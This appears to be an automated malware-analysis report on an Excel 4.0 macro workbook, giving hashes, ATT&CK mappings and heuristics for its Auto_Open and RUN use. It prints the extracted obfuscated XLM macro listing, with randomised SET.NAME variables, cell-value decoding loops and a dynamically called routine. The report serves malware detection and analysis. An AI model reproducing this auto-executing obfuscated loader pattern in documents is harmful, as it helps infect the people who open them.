Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cb4ecfc26f15596…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:23 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: c67ca717880a996ff9c6065798f29316 SHA-1: 9dd1d7df861ae54ca4114d85994ab6e36f03a526 SHA-256: 3cb4ecfc26f1559656c3fb3edbeac1e59bbfabfd5fcae33c2a3b7f7f26ca63de
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name and dangerous formula APIs, specifically 'RUN'. This suggests the macro is designed to execute arbitrary code upon opening the workbook. The document body contains heavily obfuscated text, likely intended to evade detection or mislead analysis, further supporting a malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6621 bytes
SHA-256: 01234b5d2eb2832a1d661cd6fb567fe16b1ae87d3ad4abfa5f5afed4a0981c05
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cgX
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A134 
' 0018     21 LABEL : Cell Value, String Constant - BEfghO len=0 
' 0018     25 LABEL : Cell Value, String Constant - BfbVWhHyHH len=0 
' 0018     21 LABEL : Cell Value, String Constant - BryprL len=0 
' 0018     26 LABEL : Cell Value, String Constant - COoFqrvyEMF len=0 
' 0018     24 LABEL : Cell Value, String Constant - DnjqAANsC len=0 
' 0018     25 LABEL : Cell Value, String Constant - eHWSRXenWB len=0 
' 0018     25 LABEL : Cell Value, String Constant - elLOzWxqVU len=0 
' 0018     27 LABEL : Cell Value, String Constant - GDaiVdgghSHI len=0 
' 0018     26 LABEL : Cell Value, String Constant - GgaqTJWSwfV len=0 
' 0018     26 LABEL : Cell Value, String Constant - gmsxyLAyKyk len=0 
' 0018     24 LABEL : Cell Value, String Constant - hLFUXJlzr len=0 
' 0018     24 LABEL : Cell Value, String Constant - KKVdJKzHr len=0 
' 0018     21 LABEL : Cell Value, String Constant - KkzKhy len=0 
' 0018     24 LABEL : Cell Value, String Constant - lDBKdfxMZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - LSQpZa len=0 
' 0018     23 LABEL : Cell Value, String Constant - PxjTfxUc len=0 
' 0018     27 LABEL : Cell Value, String Constant - vixrEvSryffQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - XFBUxF len=0 
' 0018     22 LABEL : Cell Value, String Constant - YajQaFA len=0 
' 0018     23 LABEL : Cell Value, String Constant - YsbAUfde len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cgX,A52,"SET.NAME("lDBKdfxMZ",0+VALUE("0"))",""
'  cgX,A54,"SET.NAME("gmsxyLAyKyk",lDBKdfxMZ)",""
'  cgX,A56,"SET.NAME("DnjqAANsC",lDBKdfxMZ)",""
'  cgX,A60,"SET.NAME("GDaiVdgghSHI",COUNTA(YsbAUfde))",""
'  cgX,A64,"SET.NAME("GgaqTJWSwfV",COUNTA(hLFUXJlzr))",""
'  cgX,A67,[],""
'  cgX,A71,"SET.NAME("YajQaFA","")",""
'  cgX,A73,"gmsxyLAyKyk",""
'  cgX,A78,"SET.NAME("LSQpZa",HLOOKUP("*",YsbAUfde,gmsxyLAyKyk,FALSE))",""
'  cgX,A80,"BryprL",""
'  cgX,A84,"SET.NAME("elLOzWxqVU",lDBKdfxMZ)",""
'  cgX,A86,[],""
'  cgX,S86,"",732.00000000000000000000
'  cgX,S87,"",411.00000000000000000000
'  cgX,S88,"",317.00000000000000000000
'  cgX,S89,"",-492.00000000000000000000
'  cgX,S90,"",-373.00000000000000000000
'  cgX,A91,"elLOzWxqVU",""
'  cgX,S91,"",-687.00000000000000000000
'  cgX,A93,"BfbVWhHyHH",""
'  cgX,A96,"eHWSRXenWB",""
'  cgX,A100,"PxjTfxUc",""
'  cgX,A102,"SET.NAME("XFBUxF",VALUE(HLOOKUP("*",hLFUXJlzr,PxjTfxUc,FALSE)))",""
'  cgX,A104,"KkzKhy",""
'  cgX,A106,"YajQaFA",""
'  cgX,A111,"DnjqAANsC",""
'  cgX,A113,NEXT(),""
'  cgX,A116,"vixrEvSryffQ",""
'  cgX,A119,[],""
'  cgX,A123,"COoFqrvyEMF",""
'  cgX,A126,NEXT(),""
'  cgX,A130,RETURN(),""
'  cgX,A159,"SET.NAME("BEfghO",A52)",""
'  cgX,A163,"YsbAUfde",""
'  cgX,A167,"SET.NAME("hLFUXJlzr",R50C11)",""
'  cgX,A170,"SET.NAME("COoFqrvyEMF",181)",""
'  cgX,A175,"SET.NAME("KKVdJKzHr",1)",""
'  cgX,A180,BEfghO(),""
'  cgX,A181,HALT(),""

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